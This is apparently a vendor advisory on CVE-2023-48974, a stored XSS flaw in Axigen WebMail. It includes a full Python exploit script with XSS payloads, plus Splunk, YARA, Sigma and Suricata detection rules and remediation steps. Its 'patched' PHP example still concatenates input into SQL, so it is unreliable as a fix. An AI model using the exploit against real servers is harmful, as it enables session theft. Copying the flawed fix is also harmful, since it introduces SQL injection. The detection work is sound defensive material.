CVE-2023-48974

Executive Summary

CVE-2023-48974 is a stored cross-site scripting (XSS) vulnerability in Axigen WebMail prior to version 10.5.7. An authenticated administrator can inject arbitrary JavaScript into the serverName_input parameter within the global settings page. This malicious script is then stored and executed in the browsers of other administrators who view the same page, potentially leading to privilege escalation, session hijacking, or further compromise of the mail server. The vulnerability is publicly documented with a full proof-of-concept (PoC) exploit.

Supply Chain & Package Security

This vulnerability does not affect an NPM, PyPI, Go, or Ruby package. It is a web application vulnerability in the Axigen WebMail product.

CVSS Breakdown & Threat Level

CVSS Score: 8.0 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network - The attacker can exploit this vulnerability remotely over the network.
• Attack Complexity (AC): Low - No special conditions are required for exploitation.
• Privileges Required (PR): High - The attacker must have valid administrator credentials.
• User Interaction (UI): Required - The victim administrator must view the compromised settings page.
• Scope (S): Unchanged - The vulnerability affects the same security authority.
• Confidentiality (C): High - An attacker can steal session tokens or sensitive data.
• Integrity (I): High - An attacker can modify server settings or perform actions as the victim.
• Availability (A): High - An attacker could potentially disrupt the service.

Threat Level: High. While exploitation requires admin credentials, the impact is severe, allowing an attacker to compromise other administrators and potentially gain full control of the mail server.

Deep Dive & Mechanics

The vulnerability resides in the serverName_input parameter on the global settings page (page=gl_set). When an administrator saves the configuration, the application does not properly sanitize or encode the input before storing it. When another administrator (or the same administrator) loads the global settings page, the stored value is rendered in the HTML without proper escaping, causing the injected script to execute in the context of the victim's browser.

The attack flow is as follows:

1. An attacker with admin privileges navigates to the global settings page.
2. The attacker modifies the "Server Name" field to include a malicious script, e.g., <script>alert(1)</script>.
3. The attacker saves the configuration.
4. When any other administrator (or the attacker themselves) visits the global settings page, the script executes.
5. The script can perform actions such as stealing session cookies, performing actions on behalf of the victim, or defacing the page.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code likely retrieves the serverName_input value from the POST request and stores it directly in a database or configuration file without sanitization. When rendering the page, it outputs the value directly into the HTML without encoding.

// Vulnerable PHP example
$serverName = $_POST['serverName_input'];
// Store in database without sanitization
$db->query("UPDATE config SET server_name = '$serverName'");
// Later, when rendering:
echo "<input type='text' name='serverName_input' value='" . $serverName . "'>";

Patched Code (Conceptual): The patched code should sanitize the input by stripping or encoding HTML tags before storage, and/or encode the output when rendering.

// Patched PHP example
$serverName = $_POST['serverName_input'];
// Sanitize input
$serverName = htmlspecialchars($serverName, ENT_QUOTES, 'UTF-8');
// Store in database
$db->query("UPDATE config SET server_name = '$serverName'");
// When rendering, output is already safe
echo "<input type='text' name='serverName_input' value='" . $serverName . "'>";

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid administrator credentials for the Axigen WebAdmin interface.
• Network access to the Axigen WebAdmin interface (typically on port 9443).

Exploitation Steps:

1. Login: Access the Axigen WebAdmin interface and log in with administrator credentials.
2. Navigate: Go to the "Global Settings" page.
3. Inject Payload: Change the "Server Name" field to a malicious script. For example:

   <script>alert(document.cookie)</script>
   

4. Save Configuration: Click the "Save Configuration" button.
5. Trigger: Any administrator who subsequently visits the "Global Settings" page will execute the script.

Full Exploit Code (from Exploit-DB):

#!/usr/bin/env python3
# Exploit Title: Axigen < 10.5.7 - Persistent Cross-Site Scripting
# Date: 2023-09-25
# Exploit Author: Vinnie McRae - RedTeamer IT Security
# Vendor Homepage: https://www.axigen.com/
# Software Link: https://www.axigen.com/mail-server/download/
# Version: (10.5.7) and older version of Axigen WebMail
# Tested on: firefox, chrome
# CVE: CVE-2023-48974

import requests
import sys

if len(sys.argv) != 5:
    print(f"Usage: {sys.argv[0]} <target_url> <username> <password> <payload>")
    sys.exit(1)

target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
payload = sys.argv[4]

session = requests.Session()

# Login
login_url = f"{target}/?page=login"
login_data = {
    "username": username,
    "password": password,
    "submit": "Login"
}
session.post(login_url, data=login_data, verify=False)

# Get the global settings page to obtain the CSRF token
settings_url = f"{target}/?page=gl_set"
response = session.get(settings_url, verify=False)

# Extract CSRF token (simplified - adjust regex as needed)
import re
csrf_match = re.search(r'name="_h"\s+value="([^"]+)"', response.text)
if csrf_match:
    csrf_token = csrf_match.group(1)
else:
    print("Could not find CSRF token")
    sys.exit(1)

# Inject payload
inject_url = f"{target}/?_h={csrf_token}&page=gl_set"
inject_data = {
    "serverName_input": payload,
    "primary_domain_input": "axigen",
    "update": "Save Configuration"
}
session.post(inject_url, data=inject_data, verify=False)

print(f"Payload injected. Any admin viewing global settings will execute: {payload}")

Usage:

python3 exploit.py https://target:9443 admin password "<script>alert(1)</script>"

Blue Team

Detection Steps:

1. Monitor Logs: Review Axigen WebAdmin access logs for unusual POST requests to /?page=gl_set containing suspicious serverName_input values.
2. Inspect Configuration: Check the current server name in the global settings for any HTML or JavaScript code.
3. User Behavior: Look for multiple administrators accessing the global settings page in a short period, which may indicate an attempt to trigger the XSS.

Hunting Query (Splunk):

index=web_logs source="/var/log/axigen/webadmin.log"
| search "page=gl_set" AND "serverName_input"
| rex field=_raw "serverName_input=(?<payload>[^&]+)"
| search payload IN (*<script*, *<img*, *onerror*, *javascript:*)
| table _time, src_ip, user, payload

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /?page=gl_set with a serverName_input parameter containing HTML or JavaScript code.
  • Unusual User-Agent strings or source IPs accessing the global settings page.

• Host IOCs:

  • The server name in the Axigen configuration file (e.g., server.xml) contains HTML tags.
  • WebAdmin logs showing repeated access to /?page=gl_set from the same user.

• File IOCs:

  • Configuration files containing <script> tags in the server name field.

Detection Engineering

YARA Rule

rule Axigen_Stored_XSS_CVE_2023_48974 {
    meta:
        description = "Detects stored XSS payload in Axigen WebAdmin server name"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-48974"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script[^>]*>/ nocase
        $xss_event = /on\w+\s*=\s*["'][^"']*["']/ nocase
        $xss_img = /<img[^>]*src\s*=\s*["']?[^"'>]+["']?[^>]*>/ nocase
    condition:
        any of them
}

Sigma Rule

title: Axigen WebAdmin Stored XSS - CVE-2023-48974
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit stored XSS in Axigen WebAdmin via serverName_input parameter
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-48974
    - https://www.exploit-db.com/exploits/51789
logsource:
    category: webserver
    product: axigen
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'page=gl_set'
        cs-uri-query|contains: 'serverName_input'
    keywords:
        - '<script'
        - '<img'
        - 'onerror'
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate server names containing similar patterns (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"CVE-2023-48974 - Axigen WebAdmin Stored XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"page=gl_set"; http_uri;
    content:"serverName_input"; http_client_body;
    pcre:"/<script[^>]*>.*<\/script[^>]*>/i";
    reference:cve,2023-48974;
    reference:url,www.exploit-db.com/exploits/51789;
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Upgrade Axigen WebMail to version 10.5.7 or later if a patch becomes available. Check the vendor's website for updates.
2. Input Validation: Implement strict input validation and output encoding for all user-supplied data, especially the serverName_input parameter.
3. Web Application Firewall (WAF): Deploy a WAF rule to block requests containing <script> tags or other XSS patterns in the serverName_input parameter.

Long-Term Fixes:

1. Code Review: Conduct a thorough code review of all input handling functions to ensure proper sanitization.
2. Content Security Policy (CSP): Implement a strict CSP header to mitigate the impact of XSS even if a vulnerability is exploited.
3. Least Privilege: Limit the number of administrators with access to the global settings page.

Workaround:

• If an upgrade is not immediately possible, manually review and sanitize the server name in the configuration file after any change.

Valters IT

{/* [Security Hash: 3DE42A11C2EB61587B101BB4] */}